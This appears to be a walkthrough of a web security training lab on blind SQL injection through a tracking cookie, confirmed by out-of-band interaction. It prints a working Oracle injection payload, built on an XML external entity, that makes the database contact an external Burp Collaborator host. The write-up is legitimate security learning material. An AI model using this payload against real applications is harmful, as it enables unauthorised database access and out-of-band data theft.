Blind SQL injection with out-of-band interaction

1. This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics and performs a SQL query containing the value of the submitted cookie.
2. The SQL query is executed asynchronously and has no effect on the application's response. However, you can trigger out-of-band interactions with an external domain.
3. This lab is a basic lab about out-of-band SQL injection.

4. First thing to solve this lab, we need to use burpsuite professional to use burp collaborator.

5. In SQL cheat sheet, there are some payloads for DNS lookup for different types of databases in DNS lookup section. Because we don’t know the type of database, we will try all of these payloads till we solve the lab.

6. We will start with Oracle database. First, we will navigate to collaborator tab and click “Copy to clipboard” to copy our public server. Then we will paste it in the Oracle’s payload like this:

```
TrackingId=S3SFAczPYrm7gSj3' || (SELECT EXTRACTVALUE(xmltype('<?xml
version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote
SYSTEM "http://3y28l5bzyrxpd6csxsmugupcz35utkh9.oastify.com">
%remote;]>'),'/l') FROM dual)--
```

7. Then go to collaborator tab and click on poll now. Fortunately, the database is Oracle, and I received a DNS lookup request and the lab solved.